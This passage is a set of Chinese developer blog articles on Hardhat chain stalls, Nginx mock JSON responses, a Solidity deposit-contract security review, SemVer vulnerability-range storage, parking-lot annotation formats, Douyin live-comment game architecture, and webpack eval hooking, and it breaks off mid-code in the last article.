Hardhat 本地链跑合约,await tx.wait() 卡住不返回,感觉链死了。看着像 bug,其实基本都是配置问题。 快速定位 一条命令看当前区块号: cast block-number --rpc-url http://127.0.0.1:8545没有 cast 就用 curl: curl -X POST http://127.0.0.1:8545 \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}'隔几秒再跑一次,区块号不变——链停了。 原因 1:配了 auto: false hardhat.config.js 里如果有: networks: { hardhat: { mining: { auto: false, // 关掉了自动挖矿 // interval: 5000 // 或者只按间隔挖 } } }交易发到内存池后不会被打包,得手动 mine: await network.provider.send("evm_mine");或者恢复自动挖矿: await network.provider.send("evm_setAutomine", [true]);原因 2:nonce 冲突 之前发过一个低 gas 交易占住了某个 nonce,后面的交易全排在它后面: cast nonce 0x<address> --rpc-url http://127.0.0.1:8545解法:发一个相同 nonce、更高 gas 的交易顶掉旧的(cancelTx 模式)。 原因 3:fork 主网时 RPC 挂了 npx hardhat node --fork https://eth-mainnet.g.alchemy.com/v2/xxxAlchemy 超限、RPC 断线、网络超时,Hardhat 表现得就像卡住。开 debug 日志看: DEBUG=hardhat* npx hardhat node会看到"Waiting for chain state"之类的提示。 原因 4:不是链卡,是前端缓存了 Hardhat 每次重启链状态会重置,但前端还拿着旧合约地址、旧 ABI。清理编译产物: rm -rf cache artifacts npx hardhat compile npx hardhat run scripts/deploy.js --network localhost原因 5:evm_mine 返回 0 不等于失败 有人看到: await network.provider.send("evm_mine"); // '0'以为报错了。其实 '0' 是 RPC 的正常返回值,表示成功。区块号会 +1,验证一下: await ethers.provider.getBlockNumber();兜底:一键重置 想快速回到初始状态而不重启进程: await network.provider.request({ method: "hardhat_reset", params: [], });链状态、快照、内存池全清。跑测试之间用这个特别方便。 或者最粗暴——Ctrl+C 结束 npx hardhat node,重新起一个。 一句话总结 Hardhat "卡链" 九成是 auto: false 关了自动挖矿。先 evm_setAutomine [true] 或手动 evm_mine 一下,绝大多数情况就通了。
Hardhat 本地链卡住:交易 pending、区块不出块的排查与解决
Hardhat 本地链卡住通常表现为:交易发出后一直 pending、await tx.wait() 不返回、区块号停止增长。 快速诊断:区块是否在出块 # 用 cast(foundry 工具) cast block-number --rpc-url http://127.0.0.1:8545# 用 curl curl -s -X POST http://127.0.0.1:8545 \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}'重复执行,如果区块号不增长说明链已卡死。 原因一:开启了手动挖矿模式 hardhat.config.js 中配置了 auto: false: networks: { hardhat: { mining: { auto: false, interval: 0 } } }此时交易发出后不会自动打包,需要手动触发出块: // Hardhat 测试脚本里 await network.provider.send("evm_mine");// 一次挖多个块 await network.provider.send("hardhat_mine", ["0xa"]); // 10 个块用 curl 触发: curl -X POST http://127.0.0.1:8545 \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"evm_mine","params":[],"id":1}'原因二:nonce 冲突导致交易队列堵塞 某笔 gas 过低的交易占住 nonce,后续交易全部等待。查当前 nonce: cast nonce 0x你的地址 --rpc-url http://127.0.0.1:8545最简单的解法是直接重置链: await network.provider.request({ method: "hardhat_reset", params: [] });或者重置到 fork 某个区块高度: await network.provider.request({ method: "hardhat_reset", params: [{ forking: { jsonRpcUrl: "https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY", blockNumber: 20000000 } }] });原因三:fork 主网时 RPC 超时 npx hardhat node --fork https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY如果 Alchemy/Infura 限速或网络超时,Hardhat 会表现得像卡住。开启调试日志: DEBUG=hardhat* npx hardhat node --fork ...看是否有 timeout 或 rate limit 报错。 原因四:缓存/artifacts 脏数据 有时前端或脚本缓存了旧的合约地址/ABI,链本身没问题但调用失败。清理后重新编译部署: rm -rf cache artifacts npx hardhat compile npx hardhat run scripts/deploy.js --network localhost最直接的解法:重启 如果不需要保留链状态,直接重启即可: Ctrl+C npx hardhat nodeHardhat 本地链的状态不持久化,重启后从创世块重新开始。如果需要持久化,使用 hardhat_reset + snapshot(evm_snapshot / evm_revert)来管理状态。
让 Nginx 直接返回固定 JSON:不走后端的假接口
前端联调时想要一个"始终返回 VIP=1"的假接口,去写后端太重,Nginx 直接顶上就行。 最简写法 location /is_vip { default_type application/json; return 200 '{"code":200,"msg":"操作成功","data":1}'; }三行做完三件事:default_type application/json;——告诉浏览器返回的是 JSON,不是 text/plain return 200 '...'——直接给 HTTP 200 + 固定 body,不用 upstream 外层用单引号包住整个 JSON,内层用双引号,省得转义防止被前端缓存 浏览器可能把这个 200 响应缓存下来,联调时容易被误导。加个 no-store: location /is_vip { default_type application/json; add_header Cache-Control no-store; return 200 '{"code":200,"msg":"操作成功","data":1}'; }跟根据参数返回不同内容 要根据 query string 分支返回,可以用 if + map: map $arg_uid $vip_result { default '{"code":200,"msg":"操作成功","data":0}'; "1" '{"code":200,"msg":"操作成功","data":1}'; "2" '{"code":200,"msg":"操作成功","data":1}'; }location /is_vip { default_type application/json; return 200 $vip_result; }访问 /is_vip?uid=1 返回 VIP=1,其它返回 VIP=0。 需要更复杂的 mock 逻辑就该上 OpenResty 或者写真后端了——Nginx 原生更适合"固定返回"这类死数据。 一句话总结 default_type application/json + return 200 '{...}'。联调阶段最快的 mock 接口,比启 Node/Python 都省事。
Nginx 直接返回固定 JSON:return 指令与 default_type 配置
Nginx 可以通过 return 指令直接返回固定响应,无需经过后端服务,适合 mock 接口、健康检查、维护模式等场景。 基本写法 location /api/status { default_type application/json; return 200 '{"code":200,"msg":"ok","data":null}'; }default_type application/json 设置响应的 Content-Type,不设置则默认为 text/plain return 200 '...' 返回 HTTP 200 和固定响应体 响应体用单引号包裹,内部 JSON 用双引号禁用缓存 接口类响应通常不应该被浏览器缓存: location /api/health { default_type application/json; add_header Cache-Control "no-store, no-cache"; return 200 '{"status":"healthy","timestamp":"dynamic"}'; }返回不同 HTTP 状态码 # 404 错误响应 location /api/v1/ { default_type application/json; return 404 '{"code":404,"msg":"接口不存在"}'; }# 维护模式 503 location / { default_type application/json; return 503 '{"code":503,"msg":"系统维护中,请稍后再试"}'; }多行 JSON:用变量 return 本身不支持换行,多行 JSON 用变量存储: location /api/config { default_type application/json; set $json_body '{"version":"1.0","debug":false,"features":{"pay":true,"upload":true}}'; return 200 $json_body; }根据请求方法区分 location /api/mock { default_type application/json; add_header Access-Control-Allow-Origin *; if ($request_method = OPTIONS) { add_header Access-Control-Allow-Methods "GET, POST, OPTIONS"; add_header Access-Control-Allow-Headers "Content-Type"; return 204; } return 200 '{"code":200,"data":[]}'; }与 echo 模块对比 Nginx 标准版不支持 echo 指令,return 是不需要额外模块的内置方案。OpenResty(含 ngx_http_echo_module)可以用: location /api/test { default_type application/json; echo '{"msg":"hello"}'; }标准 Nginx 统一使用 return 即可满足固定响应需求。
Solidity 合约安全优化:SimpleDeposit 代码审查
一份简单的 EVM 充值合约,在上主网前需要做几项安全优化。 原始合约 // SPDX-License-Identifier: MIT pragma solidity ^0.8.28;contract SimpleDeposit { address public owner; bool public paused; event Deposit( address indexed user, uint256 amount, uint256 indexed orderId, uint256 timestamp ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } constructor() { owner = msg.sender; } function deposit(uint256 orderId) public payable { require(!paused, "Paused"); require(msg.value > 0, "Amount zero"); emit Deposit(msg.sender, msg.value, orderId, block.timestamp); } function withdraw(uint256 amount) external onlyOwner { (bool success, ) = payable(owner).call{value: amount}(""); require(success, "Transfer failed."); } function setPaused(bool _paused) external onlyOwner { paused = _paused; } receive() external payable { emit Deposit(msg.sender, msg.value, 0, block.timestamp); } }优化 1:withdraw 前检查余额 余额不足时 call 会失败,但报错信息不明确: function withdraw(uint256 amount) external onlyOwner { require(address(this).balance >= amount, "Insufficient balance"); (bool success, ) = payable(owner).call{value: amount}(""); require(success, "Transfer failed"); }优化 2:补充 Withdraw 事件 充值有事件,提现没有事件,后端无法追踪提现记录: event Withdraw( address indexed to, uint256 amount, uint256 timestamp );function withdraw(uint256 amount) external onlyOwner { require(address(this).balance >= amount, "Insufficient balance"); (bool success, ) = payable(owner).call{value: amount}(""); require(success, "Transfer failed"); emit Withdraw(owner, amount, block.timestamp); }优化 3:自定义 error 替代 require 字符串 require("string") 会把字符串编码进 calldata,消耗更多 gas。用 custom error 替代: error NotOwner(); error ContractPaused(); error ZeroAmount(); error InsufficientBalance(); error TransferFailed();modifier onlyOwner() { if (msg.sender != owner) revert NotOwner(); _; }function deposit(uint256 orderId) public payable { if (paused) revert ContractPaused(); if (msg.value == 0) revert ZeroAmount(); emit Deposit(msg.sender, msg.value, orderId, block.timestamp); }自定义 error 平均节省 30~50% gas。 优化 4:owner 转移功能 现在 owner 一旦设置就无法更改,新增两步转移以防误操作: address public pendingOwner;event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0), "Zero address"); pendingOwner = newOwner; }function acceptOwnership() external { require(msg.sender == pendingOwner, "Not pending owner"); emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); }优化 5:ReentrancyGuard 防重入 withdraw 使用 call,存在重入风险(尽管对当前合约逻辑影响有限): bool private _locked;modifier nonReentrant() { require(!_locked, "Reentrant call"); _locked = true; _; _locked = false; }function withdraw(uint256 amount) external onlyOwner nonReentrant { require(address(this).balance >= amount, "Insufficient balance"); (bool success, ) = payable(owner).call{value: amount}(""); require(success, "Transfer failed"); emit Withdraw(owner, amount, block.timestamp); }或者直接引入 OpenZeppelin: import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";contract SimpleDeposit is ReentrancyGuard { // ... function withdraw(uint256 amount) external onlyOwner nonReentrant { ... } }可升级代理(按需) 如果合约逻辑以后可能更新,考虑 UUPS 代理模式。但对于简单充值合约,升级能力也意味着合约不再是纯粹的"不可更改",用户信任模型会变化,需要权衡。 最终版本概览优化点 作用withdraw 余额检查 明确报错,节省 gasWithdraw 事件 链上可追踪提现记录Custom error 减少 gas 30~50%两步 owner 转移 防止误转到无效地址ReentrancyGuard 防重入攻击
数据库版本范围查询:SemVer 比较与漏洞影响版本存储设计
版本号不能用字符串比较 -- 错误:字符串排序,结果是 2.10.0 < 2.9.0 SELECT '2.10.0' < '2.9.0' -- 返回 1(true)-- 正确:语义化版本(SemVer)比较 -- 2.10.0 > 2.9.0(major.minor.patch 各位独立比较)版本范围字符串如 >= 2.0-beta9 < 2.15.0 也无法直接用 SQL BETWEEN 或 LIKE 处理。 方案一:数据库存原始版本,程序用 SemVer 库比较 表结构简单: -- 资产表 asset(id, name, product_version)-- 漏洞规则表 vuln_rule(id, cve, affected_version_raw)Java 使用 semver4j 比较: <dependency> <groupId>org.semver4j</groupId> <artifactId>semver4j</artifactId> <version>5.3.0</version> </dependency>List<Asset> assets = assetMapper.selectAll(); List<VulnRule> rules = vulnMapper.selectAll();for (Asset asset : assets) { for (VulnRule rule : rules) { if (VersionMatcher.match(asset.getVersion(), rule.getAffectedVersion())) { // 命中漏洞 } } }优点:存储简单,逻辑清晰。 缺点:全表扫描,百万资产时性能差。 方案二:拆成上下界存数据库(企业推荐) 把 >= 2.0-beta9 < 2.15.0 拆成字段: CREATE TABLE vulnerability_affected_version ( id BIGINT PRIMARY KEY, vuln_id BIGINT, min_version VARCHAR(50), max_version VARCHAR(50), min_include TINYINT, -- 1=>=, 0=> max_include TINYINT -- 1=<=, 0=< );Spring4Shell 的两个受影响区间存成两条记录: INSERT INTO vulnerability_affected_version VALUES (1, 'CVE-2022-22965', '5.2.0', '5.2.20', 1, 0), -- 5.2.0 <= ver < 5.2.20 (2, 'CVE-2022-22965', '5.3.0', '5.3.18', 1, 0); -- 5.3.0 <= ver < 5.3.18查询时取出所有规则,在程序里用 SemVer 库比较,兼容 beta、rc、snapshot 等预发布版本。 方案三:版本号数字化后 SQL 直接查 把 2.15.0 转成整数: // 2 * 1_000_000 + 15 * 1_000 + 0 = 2_015_000 int versionNum = major * 1_000_000 + minor * 1_000 + patch;数据库存两列: ALTER TABLE asset ADD COLUMN version_num BIGINT; ALTER TABLE vuln_rule ADD COLUMN min_num BIGINT, ADD COLUMN max_num BIGINT;-- 建索引 CREATE INDEX idx_version_num ON asset(version_num);直接 SQL 查询: SELECT a.*, v.cve FROM asset a JOIN vuln_rule v ON a.version_num >= v.min_num AND a.version_num < v.max_num;优点:可建索引,百万级数据也快。 缺点:不支持 beta、rc 等预发布后缀。 方案对比方案 速度 支持预发布 复杂度程序 SemVer 比较 全表扫 是 低拆字段 + SemVer 库 取出再比 是 中版本数字化 + SQL 索引查询 否 中推荐设计(漏洞管理平台) 参考 NVD、OSV、Snyk 等平台的数据结构: -- 漏洞主表 vulnerability(cve, severity, description, published_date)-- 受影响版本(一个漏洞可能有多个区间) vulnerability_affected_version( vuln_id, product, -- 组件名 min_version, max_version, min_inclusive, max_inclusive )接入外部数据源(NVD API、OSV API)时,它们的 JSON 结构也是这样分字段的,迁入成本最低。
数据库存储版本范围:SemVer 比较与漏洞版本匹配方案
为什么不能用字符串比较版本号 SELECT * FROM assets WHERE version < '2.15.0'字符串比较结果: '2.10.0' < '2.9.0' -- 错误!字典序 '1' < '9'SemVer(语义化版本)中 2.10.0 > 2.9.0,必须按数字分段比较。 方案一:程序端比较(推荐) 数据库只存原始版本字符串,程序端做 SemVer 比较: Java(semver4j): <dependency> <groupId>org.semver4j</groupId> <artifactId>semver4j</artifactId> <version>5.3.0</version> </dependency>import org.semver4j.Semver;public class VersionMatcher { public static boolean isVulnerable(String version, String range) { try { Semver v = Semver.parse(version); return v.satisfies(range); } catch (Exception e) { return false; } } }// 使用 isVulnerable("2.14.1", ">=2.0.0 <2.15.0") // true isVulnerable("2.15.0", ">=2.0.0 <2.15.0") // falsePython(packaging 库): from packaging.version import Version from packaging.specifiers import SpecifierSetdef is_vulnerable(version: str, spec: str) -> bool: try: return Version(version) in SpecifierSet(spec) except Exception: return Falseis_vulnerable("2.14.1", ">=2.0.0,<2.15.0") # True方案二:拆成上下界存数据库 将范围条件拆为四个字段,程序比较时不需要解析字符串: CREATE TABLE vuln_rule ( id BIGINT PRIMARY KEY, component VARCHAR(100), min_version VARCHAR(50), max_version VARCHAR(50), min_include TINYINT DEFAULT 1, -- 1=包含 >=,0=不包含 > max_include TINYINT DEFAULT 0 -- 1=包含 <=,0=不包含 < );表示 >= 2.0.0 < 2.15.0:min_version max_version min_include max_include2.0.0 2.15.0 1 0程序判断: boolean matches(String version, VulnRule rule) { Semver v = Semver.parse(version); Semver min = Semver.parse(rule.getMinVersion()); Semver max = Semver.parse(rule.getMaxVersion()); boolean lowerOk = rule.isMinInclude() ? v.isGreaterThanOrEqualTo(min) : v.isGreaterThan(min); boolean upperOk = rule.isMaxInclude() ? v.isLowerThanOrEqualTo(max) : v.isLowerThan(max); return lowerOk && upperOk; }方案三:版本号数字化后数据库直接查 将 2.15.0 转换为定宽整数 002015000,再存数据库: public static long versionToLong(String version) { String[] parts = version.split("\\."); long major = parts.length > 0 ? Long.parseLong(parts[0]) : 0; long minor = parts.length > 1 ? Long.parseLong(parts[1]) : 0; long patch = parts.length > 2 ? Long.parseLong(parts[2]) : 0; return major * 1_000_000L + minor * 1_000L + patch; }// "2.15.0" -> 2015000 // "2.9.0" -> 2009000 // "2.10.0" -> 2010000 (正确:2010000 > 2009000)数据库存 version_num BIGINT,直接用 SQL 范围查询: SELECT * FROM vuln_rule WHERE version_num >= 2000000 AND version_num < 2015000;适合版本号分段均不超过 999 的情况。 方案对比方案 优点 缺点程序端比较 支持复杂范围(pre-release) 无法在 SQL 直接过滤上下界字段 数据结构清晰,易扩展 多字段 JOIN 稍复杂数字化版本 SQL 直接查询,性能最好 分段超过 999 会溢出推荐:中小规模用方案一(程序端比较),大规模漏洞库(百万级 asset)用方案三配合索引加速。 漏洞管理平台实践 批量扫描 asset 时,避免 N+1 查询: // 一次查出所有漏洞规则 List<VulnRule> rules = vulnRuleMapper.selectAll();// 按 component 分组 Map<String, List<VulnRule>> ruleMap = rules.stream() .collect(Collectors.groupingBy(VulnRule::getComponent));// 批量匹配 for (Asset asset : assets) { List<VulnRule> candidates = ruleMap.getOrDefault(asset.getComponent(), List.of()); for (VulnRule rule : candidates) { if (VersionMatcher.isVulnerable(asset.getVersion(), rule.getRange())) { record(asset, rule); } } }
版本号存数据库 + 范围匹配:SemVer 的正确姿势
漏洞库 / 依赖资产表里经常要存"受影响版本范围",然后拿具体版本号去匹配——比如 Log4j >= 2.0-beta9 < 2.15.0、Spring 4Shell >= 5.3.0 < 5.3.18 || >= 5.2.0 < 5.2.20。直接 SQL 字符串比较必翻车: SELECT * WHERE version >= '2.9.0' AND version < '2.15.0'; -- 会把 2.10.0 判成 < 2.9.0(字符串按字典序)字典序里 '2.10' < '2.9'(因为 '1' < '9')。要按语义化版本比,得单独设计。 方案 1:存字符串,程序判断(灵活但慢) 数据库里就存原始范围: CREATE TABLE vuln_rule ( id BIGINT PRIMARY KEY, product VARCHAR(64), affected_range VARCHAR(255), -- '>= 2.0 < 2.15.0' fixed_version VARCHAR(50) );匹配时程序里跑 SemVer 库: Java: import com.vdurmont.semver4j.Requirement; import com.vdurmont.semver4j.Semver;Requirement req = Requirement.buildNPM(">=2.0 <2.15.0"); Semver ver = new Semver("2.14.1", Semver.SemverType.NPM); boolean vulnerable = req.isSatisfiedBy(ver);Node.js: import semver from "semver"; semver.satisfies("2.14.1", ">=2.0 <2.15.0"); // truePython: from packaging.specifiers import SpecifierSet from packaging.version import VersionVersion("2.14.1") in SpecifierSet(">=2.0,<2.15.0") # True优点:范围表达最灵活,各种 >=、<、!=、~、^ 都支持。 缺点:数据库查不了范围——每条规则拿出来在程序里跑一遍,几万条规则会慢。 方案 2:拆上下界(企业最常用) 把 >=2.0 <2.15.0 拆成四列: CREATE TABLE vuln_rule ( id BIGINT PRIMARY KEY, product VARCHAR(64), min_version VARCHAR(50), max_version VARCHAR(50), min_include TINYINT DEFAULT 1, -- 1: >= 0: > max_include TINYINT DEFAULT 0, -- 1: <= 0: < INDEX idx_product (product) );数据:product min_version max_version min_include max_includelog4j 2.0 2.15.0 1 0spring 5.3.0 5.3.18 1 0spring 5.2.0 5.2.20 1 0多个范围(OR 关系)拆成多行。 匹配:数据库先粗筛(按 product),程序做精确 SemVer 比: List<VulnRule> rules = mapper.findByProduct("spring"); for (VulnRule r : rules) { if (semver.gteq(target, r.minVersion) && semver.lt (target, r.maxVersion)) { // 命中 } }优点:结构清晰、粗筛快、精确匹配用程序保证正确。大多数漏洞平台走这条路。 方案 3:版本数字化后 SQL 直接查 把版本号编码成一个数字,SQL 就能直接范围查: 2.15.0 → 002 015 000 → 2015000 2.14.10 → 002 014 010 → 2014010 2.10.0 → 002 010 000 → 2010000每段用固定位数(3 位)保留: long encode(String v) { String[] p = v.split("\\."); long n = 0; for (int i = 0; i < 3; i++) { int part = i < p.length ? Integer.parseInt(p[i].split("[^0-9]")[0]) : 0; n = n * 1000 + part; } return n; }数据库: CREATE TABLE vuln_rule ( id BIGINT PRIMARY KEY, product VARCHAR(64), min_version_int BIGINT, max_version_int BIGINT, min_include TINYINT, max_include TINYINT, INDEX idx_product_range (product, min_version_int, max_version_int) );查询: SELECT * FROM vuln_rule WHERE product = 'log4j' AND 2014001 >= min_version_int -- target 版本 encode 后 AND 2014001 < max_version_int;优点:纯 SQL 就能查,走索引,几百万数据也很快。 缺点:每段有位数上限(3 位 = 999,遇到 10.1000.0 就崩) 预发布版本、build metadata(2.0-beta9、1.0+20130313144700)编码复杂 需要维护 encode / decode 函数大厂漏洞平台一般是"方案 3 粗筛 + 方案 1 精确"组合——SQL 层快速缩小范围,程序层用 SemVer 库保证语义正确。 处理预发布版本 2.0-beta9、2.0-rc1 这种版本比较:SemVer 规定 1.0.0-alpha < 1.0.0-beta < 1.0.0-rc < 1.0.0 字符串比又反过来:'1.0.0' < '1.0.0-alpha'(长度)别自己写比较,用 SemVer 库:Java:semver4j Node:semver Python:packaging 或 python-semver Go:semver三个方案对比方案 存储 查询速度 语义正确性 复杂度 推荐场景存字符串 一列 慢 完美 低 规则量少(< 1 万条)上下界拆列 4 列 中 靠程序 中 推荐,通用最优版本数字化 长整型 极快 简单版本 OK 高 亿级数据 + 版本规范一句话总结 版本号别当字符串比——SQL 存上下界列 + 程序里跑 SemVer 库判定是最稳的组合。追求极致查询速度就把版本 encode 成整数走索引,代价是预发布版本处理复杂。
停车场场景图像标注 JSON 格式解析与训练模型选择
标注 JSON 结构 自动泊车停车场场景的图像标注通常以折线形式描述结构要素,典型 JSON 结构如下: { "code": 0, "data": { "markData": { "width": 1920, "height": 1536, "marks": [ { "type": "line", "pselect": "墙", "class": { "pname": "wall" }, "point": [ {"x": 117.9, "y": 890.8}, {"x": 164.4, "y": 824.3}, {"x": 210.9, "y": 777.4} ], "attrs": {}, "markId": "y4u-C3GB3x" }, { "type": "line", "pselect": "立柱", "class": { "pname": "pillar" }, "attrs": { "P": ["square"] }, "point": [ {"x": 546.7, "y": 626.9}, {"x": 590.8, "y": 621.1} ], "markId": "y4u-CBB2i3" } ], "totalNums": { "line": 10, "polygon": 0, "rect": 0, "point": 0 } } } }关键字段说明:字段 说明type: "line" 折线标注(polyline)pselect 中文类别名(墙、路沿、立柱、其他类)class.pname 英文类别名(wall / kerb / pillar / other)point 折线坐标数组,(x,y) 为像素坐标,原点左上角attrs.P 立柱形状(square=方形柱)objectId 实例 ID,0 表示无实例关联常见标注类别类别 说明 用途wall(墙) 停车场侧墙和隔断 边界检测kerb(路沿) 车位和道路边缘 导航限制pillar(立柱) 承重柱,通常为方形 障碍物避让other(其他类) 无法分类的边缘或遮挡 训练时通常忽略训练模型选择 这类折线标注本质是 Polyline Detection / Vector Map Learning,不是目标检测。 数据量 < 1 万张:SegFormer(推荐) 把折线标注膨胀成 Mask(每类一个像素值),用 SegFormer 做语义分割: JSON 折线标注 ↓ 生成 Mask(墙=1, 路沿=2, 立柱=3, 背景=0) ↓ SegFormer 训练 ↓ Wall/Pillar/Kerb 分割图SegFormer 训练门槛低、开源实现成熟,几天内可出可用结果。 从 Mask 提取折线坐标(后处理): import cv2# 骨架提取 skeleton = cv2.ximgproc.thinning(mask)# 轮廓提取 contours, _ = cv2.findContours(skeleton, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)# 折线拟合(减少点数) for cnt in contours: poly = cv2.approxPolyDP(cnt, epsilon=3, closed=False) points = [(int(p[0][0]), int(p[0][1])) for p in poly]数据量 > 10 万张:MapTR(生产级) MapTR 直接学习向量化地图,输出的就是折线坐标序列,不需要 Mask 中间步骤: 输入图像 ↓ MapTR {"wall": [[x1,y1],[x2,y2],...], "pillar": [...]}代价是训练难度高、数据格式转换复杂、对数据量要求更高。 方案对比方案 输出坐标 难度 适合数据量SegFormer + 后处理 间接 低 < 1 万LaneATT / LSTR 直接 中 数万MapTR 直接 高 > 10 万OpenCV 半自动辅助标注 标注工具里用 OpenCV 实现"沿已标线方向自动延伸",可减少 50%~80% 的点击次数: import cv2 import numpy as npdef predict_next_point(image, points): if len(points) < 2: return None last = np.array(points[-1]) prev = np.array(points[-2]) direction = last - prev direction = direction / (np.linalg.norm(direction) + 1e-6) roi_size = 80 cx, cy = int(last[0]), int(last[1]) roi = image[max(0,cy-roi_size):cy+roi_size, max(0,cx-roi_size):cx+roi_size] edges = cv2.Canny(roi, 50, 150) lines = cv2.HoughLinesP(edges, 1, np.pi/180, threshold=15, minLineLength=10, maxLineGap=5) if lines is None: candidate = last + direction * 30 return tuple(candidate.astype(int)) best_line = None best_score = -1 for line in lines: x1, y1, x2, y2 = line[0] lv = np.array([x2-x1, y2-y1], dtype=float) lv = lv / (np.linalg.norm(lv) + 1e-6) score = abs(np.dot(direction, lv)) if score > best_score: best_score = score best_line = line[0] if best_line is not None and best_score > 0.7: x1, y1, x2, y2 = best_line mid = np.array([cx - roi_size + (x1+x2)//2, cy - roi_size + (y1+y2)//2]) return tuple(mid.astype(int)) return tuple((last + direction * 30).astype(int))用户标完前两个点后,鼠标移动时实时预显示下一个预测点,按 Enter 确认。
抖音弹幕互动游戏怎么做:架构 + 弹幕获取方案
"抖音弹幕互动游戏"——观众发弹幕 / 送礼物 / 点赞,主播直播间里显示对应的游戏事件。近两年很火:弹幕操控角色、礼物召唤怪物、弹幕押注、弹幕塔防……技术不难,玩法才是核心。 整体架构 三层: 抖音直播间 │ │ 观众发弹幕 / 礼物 / 点赞 │ ▼ 弹幕采集服务(Node.js / Go / Python) │ │ WebSocket 转发 │ ▼ 游戏服务端(Node.js / Go) │ │ WebSocket / socket.io │ ▼ 游戏前端(Phaser / PixiJS / Unity WebGL) │ │ OBS 捕获窗口 │ ▼ 主播画面 → 观众推荐技术栈:模块 技术弹幕采集 Python (TikTokLive) / Node.js服务端 Node.js (Express + socket.io)前端游戏 Phaser.js / PixiJS / Three.js后台管理 Next.js + Prisma数据库 SQLite / PostgreSQL部署 Docker + Nginx弹幕获取:三条路 1. 官方开放平台(合规首选) 抖音开放平台 提供直播 SDK 和事件订阅接口。 优点:稳、合规、企业支付通道可用。 缺点:直播弹幕权限很难申请——普通开发者基本拿不到,偏企业合作。 2. WebSocket 抓包(社区主流做法) 浏览器打开直播间时,抖音会建立 WebSocket 拉弹幕。开源项目复现了这个协议:DySpider — Node.js DouyinLiveRecorder — Python TikTokLive — Python(TikTok 版) Bilibili-Live-Client — B 站能拿到:弹幕文本 + 发送者昵称 礼物名称 + 数量 + 价值 进入直播间 / 关注 / 点赞 粉丝团勋章缺点:抖音会不定期改协议,得跟着更新。且属于灰色地带——大规模用可能被封号。 3. OBS 弹幕助手 / 直播工具 不写代码派:装个 弹弹play、Blivedm 之类的桌面工具,它自带 HTTP / WebSocket 接口把弹幕转发出来。 游戏引擎选型 2D 小游戏(推荐):Phaser.js — 老牌,社区大,示例多 PixiJS — 高性能 2D 渲染,做弹幕/粒子特别快3D 场景:Three.js — Web 3D 标配 Babylon.js — 更全能高质量游戏:Unity WebGL — 主播娱乐大项目常见 缺点:打包大、更新慢Web 优先,因为热更新方便、无需装客户端、主播直接 OBS 抓浏览器窗口就行。 最容易火的玩法 技术不是门槛,玩法才是。列几种验证过能火的: 1. 生存 / 塔防 弹幕内容映射操作: 弹幕 "1" → 角色向左移动 弹幕 "2" → 向右 弹幕 "3" → 攻击 "666" → 释放技能 礼物 → 召唤怪物 / 加血变种:弹幕修仙、弹幕养宠物、弹幕西天取经。 2. PK / 押注 分左右两队,弹幕选队: "红" → 加入红队 "蓝" → 加入蓝队 礼物 → 给自己队伍加战力按贡献值 PK,赢的一方观众瓜分虚拟奖励。 3. 抢答 / 竞猜 主播出题,弹幕抢答: "A" / "B" / "C" / "D" 第一个答对的观众上榜4. 弹幕控制角色 一款经典玩法—— Twitch Plays Pokémon 的抖音版: "上" → 角色向上一格 "下" → 向下 "跳" → 起跳所有观众同时操控一个角色,混乱又搞笑。 稳定性关键点 1. 消息高并发 热门直播间弹幕 100+ QPS 是常态,游戏引擎要批处理: // 别每条弹幕都触发一次渲染 const buffer = []; setInterval(() => { if (buffer.length) { processBatch(buffer.splice(0)); render(); } }, 100); // 每 100ms 一批2. 礼物防刷 有人一次刷 1000 个礼物,防止游戏被吃满:每用户单位时间限制事件数 高价值礼物才触发大动作,小礼物只加计数 敏感操作加 CD3. 弹幕采集断线重连 WebSocket 会断,需要指数退避重连: let retryDelay = 1000; function connect() { ws.on("close", () => { setTimeout(connect, retryDelay); retryDelay = Math.min(retryDelay * 2, 30000); }); ws.on("open", () => { retryDelay = 1000; }); }4. OBS 集成 前端做成透明背景(background: transparent),OBS 用"浏览器源"+"启用透明度"抓过去,可以叠在直播画面上。 合规提醒抖音对自动化操作直播间有敏感检测,账号可能被限流 大规模商业化必须走开放平台,别用抓包方案 礼物 / 打赏涉及支付分成,接开放平台走官方渠道 别做涉赌博性质(真金 PK)——严打一句话总结 弹幕采集 + WebSocket + 游戏前端三层架构,Phaser/PixiJS 做 2D 最快。抖音弹幕拿不到官方权限就抓 WebSocket,商业化必须走开放平台。玩法比技术更重要。
为什么 Hook eval 会让 webpack 报 __webpack_require__ is not defined
问题复现 油猴脚本 hook eval 后报错: ReferenceError: __webpack_require__ is not defined at eval (service-mark.js:1:1) at eval (<anonymous>) at unsafeWindow.eval (my-script.user.js:28:24) at ./javascript/common/service-mark.js (task-common.js?61:240:1)hook 写法: const oldEval = window.eval;window.eval = function (code) { console.log(code); return oldEval.apply(this, args); // ← 问题在这里 };根本原因:直接调用 vs 间接调用 JS 中只有一种 direct eval(直接调用): eval(code)字面上写 eval(...) 才是直接调用,执行时能访问当前词法作用域。 其他所有形式都是 indirect eval(间接调用),在全局作用域执行: const e = eval; e(code); // indirecteval.call(null, code); // indirect eval.apply(this, [code]); // indirect (0, eval)(code); // indirect(常见技巧)webpack 模块代码是在模块工厂函数的作用域里 eval 执行的: function(module, exports, __webpack_require__) { eval("代码内容..."); // direct eval,能访问 __webpack_require__ }当你 hook 了 window.eval 并用 oldEval.apply(...) 转发时: window.eval = function(code) { return oldEval.apply(this, args); // indirect eval // ↑ 变成了间接调用,在全局作用域执行 };__webpack_require__ 是工厂函数的局部变量,全局作用域里不存在,所以报错。 为什么 return eval(code) 也不行 即使改成字面调用: unsafeWindow.eval = function(code) { return eval(code); // direct eval };这里的 eval(code) 是在你的 hook 函数作用域里执行的,不是在 webpack 工厂函数里。作用域仍然不对。 结论:无法通过 hook eval 的方式同时拦截代码和保持 webpack 的模块作用域。 这是 JS 引擎层面的限制,不是 hook 写法问题。 正确方案:hook webpackChunk.push 如果你需要修改 webpack 模块的源码(比如删掉 debugger),正确方式是在模块执行前 hook 模块定义,而不是 hook eval: const 